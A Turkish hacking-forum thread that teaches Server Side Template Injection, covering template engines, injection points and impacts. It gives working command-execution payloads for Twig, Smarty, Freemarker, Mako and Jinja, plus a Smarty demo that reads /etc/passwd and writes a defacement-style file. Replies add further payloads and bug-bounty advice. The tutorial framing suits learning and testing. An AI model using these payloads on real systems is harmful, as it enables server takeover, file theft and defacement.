Server Side Template Injection nedir?

Cezeri

Yönetici
Selamlar,

Kritik sonuçlar doğurabilen bir zafiyet türü olan “Server Side Template Injection” (SSTI) konusunu ele alacağız.

1) Template Engine nedir ?
2) Server Side Template Injection nedir ?
3) Nerelerde bulunur ve Etkileri nelerdir ?
4) Payload Seçimi ?
5) Tool yok mu Tool ?
6) Demo Uygulama


Template Engine Nedir ?

Genellikle “Template Engine” şeklinde bahsedilen Şablon Motoru olarak Türkçe’ye çevirebileceğimiz bu şablonlar, uygulamaları daha dinamik hale getirmek için kullanılır. Kendisine verileni tanımlanmış işlemlere sokup sonrasında çıktı üreten bir sistemdir.

MVC (Model View Controller) olarak adlandırılan sistemde ; Model - View - Controller şeklinde 3 adet katman bulunur. Bu katmanlar şu şekilde işler ;
“Kullanıcı isteği → Controller → Model → Controller → View → Çıktı”
Yani kullanıcıdan alınan istek öncelikle “Controller” katmanına ulaşır. Bu katman, istek üzerinde bir işlem yapılacak ise bu isteği “Model” katmanına gönderir. Model katmanı gereken işlemleri gerçekleştirip Controller katmanına tekrar dönüş yapar. Controller katmanı aldığı cevabı “View” katmanına gönderir ve bu katman kullanıcının göreceği asıl sayfayı oluşturur. Bizim “Template Engine”, bu MVC mimarisinin “View” katmanında devreye giriyor ve gelen veriyi, şablonları (template) kullanarak render ediyor. Render ettikten sonra ise kullanıcının görüntüleyeceği hali elde ediliyor.

Fazla teorik bilgi olduysa şöyle biraz daha Türkçeleştirelim. Bir foruma üye olduğunuzda “Sevgili xxxxx, kayıt olduğunuz için teşekkür ederiz” şeklinde bir mail alıyorsunuz ya. Ha işte bu mesaj, önceden oluşturulmuş “Teşekkür Mesajı Şablonu” tarafından, sizin kayıt sırasında kullandığınız “xxxxx” kullanıcı adını içerisine alıp yukarıda bahsedilen işlemlerden geçirilip daha sonra size sunuluyor. (Tabii ki bu işi yapmak için Template Engine kullanmak şart değildir.)

Ordan burdan buluşturduğum bazı Template Engine isimleri ;
  • PHP → Twig , Smarty
  • Java → Freemaker , Velocity , WebMacros
  • Python → Jinja2, Mako , Django
  • Javascript → Jade , Rage
Server Side Template Injection nedir ?

Şimdi ise işlerin patlak verdiği kısma biraz değinelim. Hackerların sevdiği “bi yerlere bişeyler inject etme” felsefesi, Server Side Template Injection zafiyetini ortaya çıkarıyor ve işin ucu “XSS” den “Arbitrary File Read” a ve hatta “Remote Command Execution” zafiyetlerine kadar dokunuyor. Inject işlemi gerçekleştirilirken kullanılan Template Engine türüne göre farklı payloadlar ile testler gerçekleştirmek gerekmektedir. Payload seçiminde yol göstermesi adına, internette sıkça kullanılan şu görsele hızlı bi göz gezdirin ;

83a9aed9a3e890706a9f8c9c66a23c493d77621c.png


İnternette hali hazırda bulunan Template Engine sistemler haricinde, bireysel olarak oluşturulmuş Template’ler üzerinde testler yaparken ise benzer payloadların yanı sıra, hata mesajlarından faydalanmak veyahut tahmin yürütmek gerekebilmektedir.

Nerelerde bulunur ve Etkileri nelerdir ?

→ Login
→ Register
→ Password Reset
→ Search
→ File Upload
→ URL
→ Header Başlıkları

Şeklinde sıralasakda aslında her türlü input, url, header başlığı vs. bizim testimiz kapsamında ki hedeflerimizdir.
Zafiyetin etkileri ise kullanılan Template Engine’ye göre değişiklik gösterebilmektedir.
  • [!] Information Disclosure
  • [!] XSS
  • [!] Arbitrary File Read
  • [!] Remote Command Execution
Payload Seçimi ?

Kullanılan Template Engine ve bunların yazıldığı programlama dilleri bizim payload seçimimizi etkileyektir. Genel manada “Template Engine → Payload” eşleşmelerini şöyle sıralayalım ;
  • TWIG ile “id” komutu çalıştırmak için ;
    {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}
  • SMARTY ile “id” komutu çalıştırmak için ;
    {php}echo system(“id”);{/php}
  • Freemarker ile “id” komutu çalıştırmak için ;
    <#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“id”)}
  • Mako ile “id” komutu çalıştırmak için ;
    <% import os
    x=os.popen(‘id’).read()
    %>
    ${x}
  • Benzer şekilde birçok Template Engine bulunmaktadır. Herbiri için farklı payload seçilmekte ve bu payloadları daha öncede söylediğim gibi, kullanılan Template Engine ve programlama diline göre seçeceksiniz. Payload seçimini daha iyi anlayabilmek için bunları kendi localhostunuz üzerinden kurup denemeler yapıp sonuçlarını incelemeniz faydalı olacaktır.
Şimdi “Smarty” Template Engine kullanan bir sistem üzerinde işleyişin nasıl olduğuna biraz göz gezdirelim.
{php} echo “jonturk75” ; {/php}
payloadını girdiğimizde, Title tagları içerisinde jonturk75 çıktısını alabiliyoruz.

47f448067e28fa3d593f2f1c1adcec3ed7e94e4f_2_682x500.png
47f448067e28fa3d593f2f1c1adcec3ed7e94e4f.png

{php} system(“cat /etc/passwd”); {/php}
payloadını denediğimizde ise Server Side Template Injection zafiyeti üzerinden Remote Command Execution elde etmiş oluyoruz.

d8e26a492b2b9d3248a6c2382ca3991626dc81d0_2_690x387.png
d8e26a492b2b9d3248a6c2382ca3991626dc81d0.png

{php} system (“echo ‘Jonturk75 @ vvHack.Org’ > jon.txt”); {/php}
payloadımızı kullanarak ise “jon.txt” dosyasına istediğimiz şekilde index bırakabiliyoruz.

ac093e96d9908b24c37b6d8ac95823c7d2b2c76a_2_690x387.png
ac093e96d9908b24c37b6d8ac95823c7d2b2c76a.png


Tool yok mu Tool ?

Server Side Template Injection zafiyeti için piyasada en kullanışlı görünen Tplmap tooludur. Kendisi birçok Template Engine için üretilen payloadları test etmektedir. Desteklediği Template Engine listesine, kendi Github Sayfasından şöyle bir tablo şeklinde ulaşabilirsiniz. Fakat hatırlatmakta fayda görüyorum , “hazır araçlar hiçbir zaman kesin sonuç vermezler.”

eac5a8d2f46f5df5a31477f0e85f218a457c9895_2_472x500.png

eac5a8d2f46f5df5a31477f0e85f218a457c9895.png

Demo Uygulama


Jonturk75 ~ @JRBops
 
Moderatör tarafında düzenlendi:

bat

Üye
eline sağlık genelde python sistemlerde {% import os %} {{ os.popen("pwd").read() }} payloadı iş görüyor ve {{3*‘3’}} gibi tırnaklarla da çalışmayan yerlerde çalıştırabiliyoruz , django admin panellerinde import os; os.system(“pwd”) gibi komut çalıştırdığımız da olmuştur.
96f07f3ae34e120a729441f4aa2f4e72f3d92a19_2_690x138.png
 

KraL

Üye
Mümkündür asp’den ziyade IIS yani web servisini sunan alt yazılımda olay tetiklenir. Wscript.shell ile bir object oluşturulabilir ve sisteme komut gönderilebilir. Komutun çalışmasında cmd.exe’yi unutmamak gerek.
 

ozanpy

Üye
Bununla ilgili bir doküman var mı?
Site ASP xss vs yemiyor tüm özel karakterler engellenmiş. Resim uploaddan harici dosya da yemiyor. İlla bir açık olmalı.

Bug bounty ile ilgilenmeye çalışıyorum ama hangi sitede hangi sistemin kullanıldığını ve denemek gerektiğini kestiremiyorum bir açıkta uzmanlaşmak istiyorum ama hangisi olsa bilemedim. Örneğin server site template injectıon payloadlarını birkaç sitede inputlara denedim ama sonuç negatif. ezbere iş yapıyorum sanırsam.
 
Son düzenleme:

KraL

Üye
Öncelikle sistemleri iyi tanımak lazım. Biraz ezbere gidiyorsun. Öncelikle ana kavramları iyi bilmek lazim. Misal SQL Injection öğrenmek istiyorsan, farketmeksizin sql nasil oluşur bunu ogrenmek lazim. Sql’i anladiktan sonra mysql, mssql, oracle farkli varyasyonlari çözmeye başlamak lazim. Ilerde foruma guzel sql injection konulari acilacaktir. @Scorp @baba @sef sql konusu hic yok, biraz gençler sql konusuna agirlik verebilir
 

bat

Üye
asp.net , mvc sistemlerinide kullanıyor yazılımcılar. Onlarda’da çıkma ihtimali var sen mesela xss deniyorsun server error vs gibi hatalar veriyor template inj. olduğunu anlamak için {{3*1}} {{3-1}} vb denemeler yapmalısın sonra çıktısına bakmalısın. Önce arka tarafta nasıl çalışıp yorumlandığını bilmen senin için daha iyi olur.

Not: Okumak istersen https://www.diaryofinjector.com/ güzel kaynak olur.
 
Son düzenleme:
Üst